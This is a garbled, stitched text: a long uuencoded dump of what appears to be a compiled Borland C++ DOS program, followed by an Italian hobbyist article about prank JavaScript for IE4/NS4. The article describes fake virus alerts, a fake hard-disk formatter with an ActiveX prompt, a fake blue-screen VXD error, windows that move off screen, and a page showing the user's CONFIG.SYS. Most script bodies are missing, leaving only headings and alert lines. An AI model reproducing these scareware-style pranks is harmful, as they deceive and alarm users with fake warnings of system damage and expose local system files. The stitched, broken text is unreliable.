M)L='!@``)L<'```FQD<$_R:#?Q``=!\SP%!04%`F_W<0Z%SO4E"0#NB.\5E9 MQ%X&)L='$```B\8?7EW+58OL5AZXI`*.V(M&!@M&"'4(D`[HO0#IM`#$7@8F MBT<2.T8&=`:X___II`#$7@8F@S\`?%$F]T<""`!U&":+1PZ+5@:#P@4[1@AT M`^E_`"8Y5PQU><1>!B;'!P``)HM'#HM6!H/"!3M&"'5B)CE7#'5<)HM'"B:+ M5P@FB4<.)HE7#.M*ZTC$7@8FBT<&)@,'0(OP)BDW4":+1PHFBU<()HE'#B:) M5PQ04B:*1P284)`.Z/,.@\0(.\9T$\1>!B;W1P(``G4()H-/`A#I6/\SP!]> M7_";W M1P(#`'0,_W;^4Y`.Z/+^65E'@T;\%(O&3@O`==Z+QQ]?7HOE7"":)%\1>!":)/XO&'U]>7<(,`%6+[(/L!!ZXI`*.V/]V"/]V!A:-1OY0 M%HU&_%#H$/_$7@XFB4<""\!T*B:`?P0`?3?_=OR+1OX+1@10_W8,_W8*D`[H M"06#Q`C$7@XFB$<$"L!]%,1>#B;&1P3_)L='`@``,](SP.MGQ%X.)HI'!)A0 MD`[HVNM9"\!T"<1>#B:!3P(``K@``E#$7@XF]T<"``)T!;@!`.L",\!0,\!0 M4/]V$/]V#I`.Z'0+@\0,"\!T#_]V$/]V#I`.Z)S\65GKHL1>#B;'1Q```(M6 M$(M&#A^+Y5W"#@!5B^R#[`0>N*0"CMC'1OZD`L=&_"`!Q%[\)H!_!`!\'HM& M_(-&_!2ZI`*.PE`FH;`"NA0`]^H%(`%:.]!RV,1>_":`?P0`?`8STC/`ZP:+ M5OZ+1OP?B^5=PU6+[(/L!!ZXI`*.V.B8_XE6_HE&_`O"=08STC/`ZQC_=O[_ M=OS_=@C_=@;_=@S_=@HSP%#HFOX?B^5=RU6+[!ZXI`*.V+A3(5#_=@C_=@;_ M=@S_=@J-1@Y0Z#/N'UW+58OL@^P$5AZXI`*.V,1>!":#/P!]#":+3P8F`P]! MB_'K#\1>!":+!YDSPBO"B\B+\,1>!";W1P)``'5#Q%X$)HM'#B:+5PR)1OZ) M5OPF@S\`?27K#?]._,1>_":`/PIU`4:+P4D+P'7LZQ3$7OS_1OPF@#\*=0%& MB\%)"\!U[(O&'UZ+Y5W"!`!5B^Q6'KBD`H[8BW8._W8(_W8&D`[HV_M960O` M=`6X___K8(/^`747Q%X&)H,_`'X._W8(4^@__YDI1@H95@S$7@8F@6<"7_XF MQP<``":+1PHFBU<()HE'#B:)5PQ6_W8,_W8*)HI'!)A0D`[HDNJ#Q`B#^O]U M"CW__W4%N/__ZP(SP!]>7N*0"CMC$7@8FBD<$F%"0#NBP[%F) M5OZ)1OR#^O]U!3W__W0IQ%X&)H,_`'T0_W8(4^BU_ID!1OP15O[K$/]V"/]V M!NBC_IDI1OP95OZ+5OZ+1OP?B^5=RU6+[(/L!%8>N*0"CMB^%`#'1OZD`L=& M_"`!ZQ[$7OPFBT<")0`#/0`#=0O_=OY3D`[HV?I968-&_!2+QDX+P'7;'UZ+ MY5W#58OL'KBD`H[8Q%X$)O='`@`"=`/HHO_$7@0F_W<&)HM'"B:+5P@FB4<. M)HE7#%!2)HI'!)A0D`[HL`>#Q`C$7@0FB0<+P'X))H-G`M\SP.LIQ%X$)H,_ M`'40)HM'`B5__@T@`":)1P+K#<1>!";'!P``)H-/`A"X__\?7<($`%6+[!ZX MI`*.V,1>!B;_!_]V"%,.Z`@`65D?7!B:# M/P!\;R;W1P(0`75G)O='`@$`=%_$7@8F@4\"@``F@W\&`'0/_W8(4^CW_@O` M=++KH>NNQ%X&)O='`@`"=`/HFOZX`0!0'K@T!%#$7@8FBD<$F%"0#NBU!H/$ M"`O`=3/$7@8FBD<$F%"0#NA`^%D]`0!T"\1>!B:#3P(0Z53_Q%X&)HM'`B5_ M_@T@`":)1P+I0/^`/C0$#74+Q%X&)O='`D``=(_$7@8F@V<"WZ`T!+0`'UY= MRQZXI`*.V+BD`E"X(`%0#NCY_EE9'\M5B^Q65QZXI`*.V,1^!L5V"HM.#M'I M_/.E7N*0"CM@>BTX$M#S%5@;-(1]R`NL$4.C` MYA]=P@8`58OL'KBD`H[8BUX$*\DKTK1`S2$?7<("`%6+[(/L!%97'KBD`H[8 MBW8*BWX,]\8`P'4.N*0"CL`FH=H")0#`"_`SP%#_=@C_=@:0#NC`]H/$!HE& M_O?&``%U`^F/`+BD`H[`)B,^W`*+QZF``74'N`$`4.A%YH-^_O]U++BD`H[` M)H,^W@("=`V.P";_-MX"Z"CFZ0T!]\>``'0$,\#K`[@!`(E&_NL,]\8`!'0_ MN%``4.O<]\;P`'0>_W8(_W8&,\!0Z!C_B_@+P'T#Z=(`5Y`.Z)GV6>L5_W8( M_W8&_W;^Z/K^B_@+P'U^Z;0`5O]V"/]V!I`.Z+$`@\0&B_@+P'QF,\!05Y`. MZ(#T65F)1ORI@`!T(X'.`"#WQ@"`=",E_P`-(``STE)0N`$`4%>0#NA8](/$ M".L*]\8``G0$5^B^_O=&_@$`=!_WQ@`!=!GWQO``=!.X`0!04/]V"/]V!I`. MZ*KU@\0("_]\-??&``-T!;@`$.L",\"+UH'B__@+T%+W1OX!`'0$,\#K`[@` M`5H+T(O?T>.XI`*.P":)E[("B\.ZI`*.PB:)A[("BT;^ZP10Z+KD'XOE7N*0"CMC$7@@F_P__ M=@I3BD8&F%"0#N@&`(/$!A]=RU6+[%8>N*0"CMB*1@:B`03$7@@F@S__?50F M_P"":!3P(``2:#?P8`=&\F@S\`=`__ M=@I3D`[H`O9960O`=;7$7@@FBT<&]]@FB0!H/$"#T!`'4?N`$`4!ZX`010Q%X()HI'!)A0D`[H/P:# MQ`@]`0!T#L1>"";W1P(``G4#Z>G^H`$$M``?7EW+58OL'KBD`H[8N*0"4+@T M`5#_=@8.Z$C^@\0&'UW+58OL@^P"5E<>N*0"CMB+?@B)?O[$7@0F]T<""`!T M+NLB_W8&_W8$Q%X*_T8*)HH'F%`.Z`S^@\0&/?__=04SP.G&`8O'3PO`==?I MN0'$7@0F]T<"0`!U`^DP`2:#?P8`=0/ISP`F.7\&!";_=PXF_W<,D`[HL?J#Q`K$7@0FBP<#QR:) M!R8!?PSIT@#$7@0FBD<$F-'@NJ0"B]B.PB;WA[("``AT&;@"`%`SP%!0Q%X$ M)HI'!)A0D`[HE^*#Q`A7_W8,_W8*Q%X$)HI'!)A0D`[HA@2#Q`@[QW(#Z8`` MZ;7^ZWO$7@0F@W\&`'12ZT?$7@0F_P=](":+1PXFBW<,)O]'#,1>"O]&"B:* M%X[`)H@4BL*T`.L7_W8&_W8$Q%X*_T8*)HH'4`[H3/R#Q`8]__]U`^E@_HO' M3PO`=;+K'U?_=@S_=@K$7@0FBD<$F%"0#NB8`H/$"#O'

!M'CN*0"CL`F]X>R`@`"=`4SP.FA`/]V#/]V"O]V"/]V!I`. MZ*KB@\0(B4;^0#T"`'(3BUX&T>.XI`*.P";WA[("`$!U!8M&_NMLBT[^Q'8( MB_Z+WOPFK#P:=#`\#70%JN+SZQ_B[P93N`$`4(U&_190_W8&D`[H5^*#Q`A; M!_R*1OVJ._MU`NN,ZRA3N`$`4/?9&\!04?]V!I`.Z!GA@\0(BUX&T>.XI`*. MP":!C[("``);*_N7'U]>B^5=RU6+[%97'KBD`H[8BWX.BW80Q%X&)HM'$CM& M!G4+@_\"?P:!_O]_=@:X___I]@"#/@0$`'4/@7X&-`%U",<&!`0!`.L4@SX" M!`!U#8%^!B`!=0;'!@($`0#$7@8F@S\`=!2X`0!0,\!04/]V"%.0#NB']8/$ M"L1>!B;W1P($`'0/)O]W"B;_=PB0#NAEZ5E9Q%X&)H-G`O,FQT<&``"+1@B+ M5@:#P@4FB4<*)HE7"":)1PXFB5<,@_\"=&<+]G9CN*0"CL`FQP86`0``)L<& M%`'L)XM&"@M&#'4A5I`.Z!SJ68E6#(E&"@O"=0/I.O_$7@8F@T\"!.L#Z2W_ MQ%X&BT8,BU8*)HE'#B:)5PPFB4<*)HE7"":)=P:#_P%U!2:#3P((,\`?7UY= MRU6+[%97'KBD`H[8_,1^!HO7,L"Y___RK@:-=?_$?@JY___RKO?1*_D&'P>' M]_?&`0!T`J1)T>GSI7,!I)*,PA]?7EW+58OL5QZXI`*.V,1^!C/`.T8(=00[ MQW0*_+G___*ND??02!]?7N*0"CMB+?@:XI`*.P"8Y/K`" M=PJX!@!0Z!O>Z3\!BT8,0#T"`',%,\#I,0&+W]'CN*0"CL`F]X>R`@`(=!&X M`@!0,\!04%>0#N@1WX/$"(O?T>.XI`*.P";WA[("`$!U%?]V#/]V"O]V"%>0 M#NCT`(/$".GG`(O?T>.XI`*.P":!I[("__V+1@J+5@B)1O:)5O2+1@R)1OKK M=?].^L1>]/]&]":*!XA&^3P*=0K$7OPFQ@<-_T;\Q%[\BD;Y)H@'_T;\C89R M_XM6_#/;*]"#VP`+VWQ$=0:!^H``0#NAP M`(/$"(O0.\9T$H/Z_W4%N/__ZU&+1@PK1OKK18V&/^-AG+_BW;\,](K\(/:`(O&"\!V)%86C89R_U!7D`[H(0"#Q`B+T#O&=`Z# M^O]TL8M&#`/"*\;K`XM&#!]?7HOE7N*0"CMB+7@;1X[BD`H[`)O>' ML@(!`'0&N`4`4.LG'K1`BUX&BTX,Q58(S2$?.XI`*.P":!C[(" M`!!8ZP10Z(;<'UW+58OL@^P$5AZXI`*.V#/VQT;^I`+'1OP@`>L;Q%[\)O=' M`@,`=`O_=OY3D`[HN^U968-&_!1&N*0"CL`F.3:P`G?9'UZ+Y5W+58OL@^P$ M5AZXI`*.V+X$`,=&_J0"QT;\(`'K&\1>_";W1P(#`'0+_W;^4Y`.Z"3N65E. M@T;\%`OV=>$?7HOE7N*$"CMC'1NX``,=&[```QT;J``#'1N@` M`,=&Y@``QT;D```>N```4,1>"";_=P8F_W<$FF49``"#Q`B)5O*)1O#$7@@F MBT<&)HM7!(E&_HE6_/]V_O]V_)K!)0``65E(Q%[\`]@FQ@=?'K@#`%#_=O[_ M=OR:91D``(/$"(E6]HE&]/]V[O]V[!ZX!@!0_W;V_W;TFJ$9``"#Q`R#1NP! M@U;N`.G>`/]V\O]V\)H8'```65F9B5;ZB4;X@W[X9'(;_W;Z_W;X'K@/`%#_ M=O;_=O2:H1D``(/$#.M,@W[X"G(A@W[X8W<;_W;Z_W;X'K@2`%#_=O;_=O2: MH1D``(/$#.LE@W[X`'(?@W[X"7<9_W;Z_W;X'K@6`%#_=O;_=O2:H1D``(/$ M#(-&Z`NH`QT;F``#'1N0!`(-^Z@!\174&@W[H%'(]_W;N_W;LN`H`4+@- M`%`>N!L`4/]V]O]V])JA&0``@\00@T;L`8-6[@#'1NH``,=&Z```QT;F``#' M1N0``,1>\";W1P(@`'4#Z13_@W[F`'4A@W[D`74;N`H`4+@-`%`>N"D`4/]V M]O]V])JA&0``@\0,_W;R_W;PFHX5``!96?]V]O]V])J.%0``65D?B^5=RP`` M``!R8@!W8@!#*"5L9"D](@`E9``P)60`,#`E9``B)6,E8T,H)6QD*3TB`"(E M8R5C````````0F]R;&%N9"!#*RL@+2!#;W!Y`,$E````40```.````.X#I`(`>0```/`#I`(`>@````8$I`(`>P````@$I`(`?``=```````% M?0`````````%?@````P````%?P`````0```%@@`&`.3_```"@P`&`.C_```" MA``&`.S_```"A0`8`/#_```"A@`8`/3_```"AP`;`/C_```"B``;`/S_```" MB0`$``8````*B@`<``@````*BP`9```````&C``&```````&C0`*```````& M@0`!#8D``P`!``$``0`!`(``R%M:)@0`#0`+`!D`#0`W``X`50`/`&8`$`!] M`!$`E@`2`*\`%0"Z`!8`S@`7`.\`&``6`1D`.P$:`$T!'`!;`1T`?`$3`)@! M(`"F`2$`S0$B`-H!(P#G`0``````````#0#?`8``"0`!````&0#3`0$`@@(- M`-\!`0`"``$``0`!``$``0`5````````````!````0```@"`____?P````4` M``(```0``(#___]_```&```$```&`````(#___]_"````0``"```````_P`` M``D```(```H``````/__```*```$```,``````#_____#0``!``````/```( M`````!````H`````#@``!@`````H```!``````P```$``!,``````/\````' M```(``````L```@`````*P``"@`````6```$```9`!X``!0```$`%@``!``` M"``6```$```"`!8```0``!L`(P`````%!``C``````0*`",`````A`0`(P`` M```$&``C``````0$`",`````!`0`(P`````$`0``C@`$``"/``H``)```@`` MD0`(``"2``0``),`&@``E``:``"5``H``)8`!`#`%`````$`#0`9`+H`U`#O M`/4`^P`6`1P!(@$[`5,!50%;`9@!I@&L`;(!S0'G`0````!?7V-L96%N=7`` M7U]C:&5C:VYU;&P`7U]T97)M:6YA=&4`7U]R97-T;W)E>F5R;P!?86)O&ET`%]?9&]S7V=E=&9I;&5A='1R`%]? M9&]S7W-E=&9I;&5A='1R`%]E>&ET`%]?97AI=`!?7V-E>&ET`%]?8U]E>&ET M`$Y?3%A,4TA``$Q83%-(0`!&7TQ83%-(0`!.7U!!1$1``$9?4$%$1$``4$%$ M1$``3E]04U5"0`!&7U!354)``%!354)``%]?24]%4E)/4@!?7T1/4T524D]2 M`%]I0!?7U]F:7)S=`!?7U]L87-T`%]?7W)O=F5R M`%]F0!?;W!E;@!?7V]P96X`7U]F<'5T8P!?9G!U=&,`7V9P M=71C:&%R`%]?1E!55$X`7U]?F4`7U]P&ET M8VYT`%]?871E>&ET=&)L`%]?97AI=&)U9@!?7V5X:71F;W!E;@!?7V5X:71O M<&5N`%]? window.alert("Warning! Your browser has detected a virus in this page. ") window.alert("Click OK to continue. The virus MAY not affect you. Or else reset your computer right now. ") .. fanno un po ridere queste cose vero? :)) Beh .. queste vi faranno ridere di meno! :) Questi che vi presento sono aluni sorgenti che ho fatto molto rapidamente.. in effetti non sono un gran che di elegante ma cmq funzionano e non sono nati assolutamente per avere delle pretestuosita' professionali o altro. Sono solo dei puri e semplici giochini. E' da premettere che potete eseguirli tutti senza alcun problema, non procurano alcun danno ne violano in alcun modo la sicurezza del vostro sistema. Per chi volesse vederli all'opera direttamente dalla rete senza doverseli copiare in un file html potra' farlo andando qui: www.spippolatori.com/crepacuore.htm Crepacuore e' il titolo (spero azzeccato) di questa gradevole presentazione. :)) Tutti gli script si basano su POCHE utilissime funzioni javascript presenti nei browser piu' recenti. IE4 NS4. (che poi sono quelli piu' usati in assoluto) Le ho divise in 5 gruppi elementari 1. Funzioni per muovere e ridimensionare la finestra principale del browser: self.moveTo(x,y) [ sposta la finestra in riferimento assoluto relativamente al desktop prendendo come punto origine (0,0) il pixel in alto a sinistra. ] self.moveBy(x,y) [ sposta la finestra relativamente alla posizione attuale di x pixel in orizzontale e y pixel in verticale ] self.resizeTo(x,y) [ ridimensiona la finestra alle dimensioni assolute x,y pixel ] self.resizeBy(x,y) [ restringe o allarga la finestra di x pixel in orizzontale e y pixel in verticale] 2. Funzioni per conoscere le dimensioni del proprio schermo screen.width [ dimensione in orizzontale ] screen.height [ dimensione in verticale ] Se avete una risoluzione video di 800 x 600 con memorizzate in largo (800) e nella variabile lungo (600) .. e' possibile usare questi parametri per posizionare ad esempio un qualcosa al centro del propri desktop Mettiamo di voler ridimensionare il proprio browser a 100x100 pixel e di voler posizionare l'angolo in alto a sinistra al centro del desktop. si fa cosi': semplice no!? 3. Funzioni specifiche text/css per il posizionamento del testo sullo schermo. Qui e' necessario crearsi uno style text. Lo style e' un testo dichiarato che viene posizionato mediante alcuni puntatori. Per avere un esempio di come funziona potete scaricarvi la pagina iniziale del sito www.spippolatori.com e guardare come e' stata fatta. 4. Funzioni proprie del DHTML per l'orientamento del testo. Guardare l'esempio G.htm 5. Funzioni matematiche contenute nella libreria Math.xxx Gli script sono i seguenti .. non li commento perche' sono semplicissimi. Anche in considerazione del fatto che chi non conosce il javascript avra' cmq serie difficolta' nel capirli.. e per coloro che ne conoscono anche poco non c'e' nessun problema.. ogni procedura e' dichiarata in modo preciso e 'minimo' tanto da dare immediatezza di compresione ai vari meccanismi di elaborazione. FORMATTATORE IMMEDIATO DI HD. :) -------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------- FORMATTATORE DI HD CON AVVISO DI ACTIVEX E CLESSIDRA SUL MOUSE. -------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------- ERRORE NEL VXD ... IL TIPICO SCHERMO BLU DANNAZIONE DEGLI UTENTI WINDOWS. -------------------------------------------------------------------------------------------
ERRORE nel modulo VXD 4802:2320 RegX : 281 - 000 - 010 - 027
------------------------------------------------------------------------------------------- ERRORE NEL VXD .. con aggiunta di finestra volante. hi hi hi -------------------------------------------------------------------------------------------
ERRORE nel modulo VXD 4802:2320 RegX : 281 - 000 - 010 - 027
[ con aggiunta di finestra volante ;-) ]
------------------------------------------------------------------------------------------- UNA FINESTRA SI AGGIRA MISTERIOSA PER LO SCHERMO.. DOVE MAI ANDRA'!?!? :) ------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- QUESTO CODICE APRE UNA NORMALE SESSIONE DEL BROWSER E DOPO 10 SECONDI FA SCIVOLARE VIA IL BROWSER STESSO SOTTO IL VOSTRO DESKTOP. POTENZA DELLA UTILISSIMA FUNZIONE moveBy(x,y)! ;-) ------------------------------------------------------------------------------------------- Movarello ------------------------------------------------------------------------------------------- QUI ANDIAMO SUL COMPLICATO.. QUESTO JAVASCRIPT + DHTML MOSTRA DEGLI ELEMENTI GRAFICI CHE SI SORMONTANO SULLE BARRE DI SCORRIMENTO DEL BROWSER. SE LO FATE GIRARE SU OUTLOOK IMPORTANDOLO COME FILE HTML .. FARA' LA STESSA COSA. E' UN DIFETTO DELLE TABLE TEXT CSS CREATE IN HTML QUANDO QUESTE SUPERANO LA DIMENSIONE VISIBILE (INNER) DEL VOSTRO BROWSER. NON E' FACILISSIMO DA CAPIRSI MA CMQ INTERESSANTE. ------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- VISUALIZZA IL VOSTRO CONFIG SYS SU UNA FINESTRELLA! ;-) -------------------------------------------------------------------------------------------